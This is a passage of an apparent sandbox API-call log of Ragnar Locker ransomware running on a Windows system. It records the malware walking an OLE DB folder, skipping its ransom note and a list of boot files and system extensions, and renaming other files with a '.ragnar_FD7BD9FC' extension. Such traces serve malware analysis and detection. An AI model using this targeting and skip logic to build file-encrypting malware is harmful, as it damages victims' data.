lstrcmpiW (lpString1="oledb32r.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="autorun.inf") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="boot.ini") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="bootfont.bin") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="bootsect.bak") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="bootmgr") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="bootmgr.efi") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="bootmgfw.efi") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="desktop.ini") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="iconcache.db") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="ntldr") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="ntuser.dat") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="ntuser.dat.log") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="ntuser.ini") returned 1 [0078.663] lstrcmpiW (lpString1="oledb32r.dll", lpString2="thumbs.db") returned -1 [0078.663] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.663] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.663] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.663] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0078.663] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.663] lstrcpyW (in: lpString1=0x1eb620, lpString2="oledbjvs.inc" | out: lpString1="oledbjvs.inc") returned="oledbjvs.inc" [0078.663] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned=".inc" [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="autorun.inf") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="boot.ini") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="bootfont.bin") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="bootsect.bak") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="bootmgr") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="bootmgr.efi") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="bootmgfw.efi") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="desktop.ini") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="iconcache.db") returned 1 [0078.663] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="ntldr") returned 1 [0078.664] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="ntuser.dat") returned 1 [0078.664] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="ntuser.dat.log") returned 1 [0078.664] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="ntuser.ini") returned 1 [0078.664] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="thumbs.db") returned -1 [0078.664] lstrcmpiW (lpString1=".inc", lpString2=".db") returned 1 [0078.664] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0078.664] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0078.664] lstrcmpiW (lpString1=".inc", lpString2=".lnk") returned -1 [0078.664] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0078.664] lstrcmpiW (lpString1=".inc", lpString2=".drv") returned 1 [0078.664] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0078.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0078.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.665] CloseHandle (hObject=0xffffffff) returned 0 [0078.665] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" [0078.665] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.ragnar_FD7BD9FC" [0078.665] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.665] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0078.665] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.665] lstrcpyW (in: lpString1=0x1eb620, lpString2="oledbvbs.inc" | out: lpString1="oledbvbs.inc") returned="oledbvbs.inc" [0078.665] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned=".inc" [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="autorun.inf") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="boot.ini") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="bootfont.bin") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="bootsect.bak") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="bootmgr") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="bootmgr.efi") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="bootmgfw.efi") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="desktop.ini") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="iconcache.db") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="ntldr") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="ntuser.dat") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="ntuser.dat.log") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="ntuser.ini") returned 1 [0078.665] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="thumbs.db") returned -1 [0078.665] lstrcmpiW (lpString1=".inc", lpString2=".db") returned 1 [0078.666] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0078.666] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0078.666] lstrcmpiW (lpString1=".inc", lpString2=".lnk") returned -1 [0078.666] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0078.666] lstrcmpiW (lpString1=".inc", lpString2=".drv") returned 1 [0078.666] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0078.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0078.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.666] CloseHandle (hObject=0xffffffff) returned 0 [0078.666] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" [0078.666] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.ragnar_FD7BD9FC" [0078.666] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.666] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.666] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.666] lstrcpyW (in: lpString1=0x1eb620, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.666] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.666] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.666] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0078.666] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.666] lstrcpyW (in: lpString1=0x1eb620, lpString2="sqloledb.dll" | out: lpString1="sqloledb.dll") returned="sqloledb.dll" [0078.666] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned=".dll" [0078.666] lstrcmpiW (lpString1="sqloledb.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.666] lstrcmpiW (lpString1="sqloledb.dll", lpString2="autorun.inf") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="boot.ini") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="bootfont.bin") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="bootsect.bak") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="bootmgr") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="bootmgr.efi") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="bootmgfw.efi") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="desktop.ini") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="iconcache.db") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="ntldr") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="ntuser.dat") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="ntuser.dat.log") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="ntuser.ini") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.dll", lpString2="thumbs.db") returned -1 [0078.667] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.667] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.667] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.667] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0078.667] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.667] lstrcpyW (in: lpString1=0x1eb620, lpString2="sqloledb.rll" | out: lpString1="sqloledb.rll") returned="sqloledb.rll" [0078.667] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned=".rll" [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="autorun.inf") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="boot.ini") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="bootfont.bin") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="bootsect.bak") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="bootmgr") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="bootmgr.efi") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="bootmgfw.efi") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="desktop.ini") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="iconcache.db") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="ntldr") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="ntuser.dat") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="ntuser.dat.log") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="ntuser.ini") returned 1 [0078.667] lstrcmpiW (lpString1="sqloledb.rll", lpString2="thumbs.db") returned -1 [0078.667] lstrcmpiW (lpString1=".rll", lpString2=".db") returned 1 [0078.667] lstrcmpiW (lpString1=".rll", lpString2=".sys") returned -1 [0078.668] lstrcmpiW (lpString1=".rll", lpString2=".dll") returned 1 [0078.668] lstrcmpiW (lpString1=".rll", lpString2=".lnk") returned 1 [0078.668] lstrcmpiW (lpString1=".rll", lpString2=".msi") returned 1 [0078.668] lstrcmpiW (lpString1=".rll", lpString2=".drv") returned 1 [0078.668] lstrcmpiW (lpString1=".rll", lpString2=".exe") returned 1 [0078.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0078.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.668] CloseHandle (hObject=0xffffffff) returned 0 [0078.668] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" [0078.668] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.ragnar_FD7BD9FC" [0078.668] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.668] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0078.668] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.668] lstrcpyW (in: lpString1=0x1eb620, lpString2="sqlxmlx.dll" | out: lpString1="sqlxmlx.dll") returned="sqlxmlx.dll" [0078.668] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned=".dll" [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="autorun.inf") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="boot.ini") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="bootfont.bin") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="bootsect.bak") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="bootmgr") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="bootmgr.efi") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="bootmgfw.efi") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="desktop.ini") returned 1 [0078.668] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="iconcache.db") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="ntldr") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="ntuser.dat") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="ntuser.dat.log") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="ntuser.ini") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="thumbs.db") returned -1 [0078.669] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.669] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.669] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.669] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0078.669] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.669] lstrcpyW (in: lpString1=0x1eb620, lpString2="sqlxmlx.rll" | out: lpString1="sqlxmlx.rll") returned="sqlxmlx.rll" [0078.669] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned=".rll" [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="autorun.inf") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="boot.ini") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="bootfont.bin") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="bootsect.bak") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="bootmgr") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="bootmgr.efi") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="bootmgfw.efi") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="desktop.ini") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="iconcache.db") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="ntldr") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="ntuser.dat") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="ntuser.dat.log") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="ntuser.ini") returned 1 [0078.669] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="thumbs.db") returned -1 [0078.669] lstrcmpiW (lpString1=".rll", lpString2=".db") returned 1 [0078.669] lstrcmpiW (lpString1=".rll", lpString2=".sys") returned -1 [0078.669] lstrcmpiW (lpString1=".rll", lpString2=".dll") returned 1 [0078.669] lstrcmpiW (lpString1=".rll", lpString2=".lnk") returned 1 [0078.669] lstrcmpiW (lpString1=".rll", lpString2=".msi") returned 1 [0078.669] lstrcmpiW (lpString1=".rll", lpString2=".drv") returned 1 [0078.669] lstrcmpiW (lpString1=".rll", lpString2=".exe") returned 1 [0078.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0078.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.670] CloseHandle (hObject=0xffffffff) returned 0 [0078.670] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" [0078.670] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.ragnar_FD7BD9FC" [0078.670] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.670] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, 